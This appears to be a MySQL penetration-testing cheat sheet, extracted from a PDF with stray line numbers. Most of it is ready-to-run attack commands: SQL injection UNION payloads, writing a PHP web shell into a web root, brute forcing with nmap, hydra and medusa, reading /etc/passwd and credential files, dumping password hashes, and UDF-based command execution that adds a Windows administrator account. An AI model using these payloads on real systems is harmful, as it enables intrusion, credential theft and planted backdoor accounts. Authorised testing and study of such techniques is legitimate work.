MYSQL Pentesting Best Practices
MYSQL Pentesting Best Practices
8–10 minutes
MYSQL
MYSQL default uses ports 3306
What is MYSQL?
MySQL is a freely available open source Relational Database Management System
(RDBMS) that uses Structured Query Language (SQL).
MYSQL Connection
#LOCAL
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
#REMOTE
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
16 #Basic MySQLi
17 Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from
18 information_schema.tables
19 Union Select 1,2,3,4,column_name from information_schema.columns where
20 table_name="<TABLE NAME>"
21
22 #Read & Write
23 select load_file('/var/lib/mysql-files/key.txt'); #Read file
24 select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE
25 'C:/xampp/htdocs/back.php'
26
27 #Try to change MySQL root password
28 UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
29 UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE
User='root';
FLUSH PRIVILEGES;
quit;
1 mysql -u username -p < manycommands.sql #A file with all the commands you
2 want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
MYSQL Pentesting
Shodan search query :
port:3306
Enumeration
1 # !!!! You should edit --script-args for your MYSQL Server !!!
2
3 # Audits MySQL database server security configuration
4 nmap -p 3306 --script mysql-audit --script-args "mysql-
5 audit.username='root', \
6 mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-
7 cis.audit'" 192.168.x.x
8
9 # Bruteforce accounts and password against a MySQL Server
10 nmap --script=mysql-brute --script-args
11 userdb=users.txt,passdb=passwords.txt -p 3306 192.168.x.x
12
13 # Attempts to list all databases on a MySQL server. (creds required)
14 nmap -sV --script=mysql-databases -p 3306 192.168.x.x
15
16 #Dumps the password hashes from an MySQL server in a format suitable
17 (creds required)
18 nmap --script mysql-dump-hashes --script-
19 args='username=root,password=secret' -p 3306 192.168.x.x
20
21 # Checks for MySQL servers with an empty password for root or anonymous.
22 nmap -sV --script=mysql-empty-password -p 3306 192.168.x.x
23
24 # Performs valid-user enumeration against MySQL server using a bug
25 nmap --script=mysql-enum -p 3306 192.168.x.x
# Connects to a MySQL server and prints information such as the protocol
and version numbers, thread ID, status, capabilities, and the password
salt.
nmap -sV -sC -p 3306 192.168.x.x
Brute Forcing
1 hydra -L usernames.txt -P pass.txt <IP> mysql
2 msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
3 medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa
on first success attempt> -t <threads> -M mysql
1 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY
'\n';
Notice the “local” word, because without the “local” you can get:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY
1 '\n';
2 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-
priv option so it cannot execute this statement
In this paper you can see a complete description of the attack and even how to extend it to
RCE: https://paper.seebug.org/1113/
Mysql User
Privilege escalation
Current Level of access
mysql>select user();
1 mysql>select
2 user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,d
rop_priv from user where user='OUTPUT OF select user()';
Access Passwords
1 mysql> use mysql
2 mysql> select user,password from user;
You can find compiled versions of this libraries in sqlmap: locate lib_mysqludf_sys.so and
locate lib_mysqludf_sys.dllInstead of locate you can also use whereis to search for this
libraries inside the host.
Linux
1 use mysql;
2 create table npn(line blob);
3 insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
4 select * from npn into dumpfile
5 '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
6 create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');
Windows
USE mysql;
1 CREATE TABLE npn(line blob);
2 INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
3 SELECT * FROM mysql.npn INTO DUMPFILE
4 'c://windows//system32//lib_mysqludf_sys_32.dll';
5 CREATE FUNCTION sys_exec RETURNS integer SONAME
6 'lib_mysqludf_sys_32.dll';
7 SELECT sys_exec("net user npn npn12345678 /add");
8 SELECT sys_exec("net localgroup Administrators npn /add");
9 Extracting MySQL credentials from the database
10 SELECT User,Host,Password FROM mysql.user;
11 SELECT User,Host,authentication_string FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT
User,Host,authentication_string FROM mysql.user;"
Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-
sys-maint
1 cat /etc/mysql/debian.cnf
Inside the file: /var/lib/mysql/mysql/user.MYD you can find all the hashes of the MySQL
users (the ones that you can extract from mysql.user inside the database).
Enabling logging
You can enable logging of mysql queries inside /etc/mysql/my.cnf uncommenting the
following lines:
Useful Files
windows
config.ini
my.ini
o windows\my.ini
o winnt\my.ini
/mysql/data/
unix
my.cnf
o /etc/my.cnf
o /etc/mysql/my.cnf
o /var/lib/mysql/my.cnf
o ~/.my.cnf
o /etc/my.cnf
Command History
~/.mysql.history
Log Files
connections.log
update.log
common.log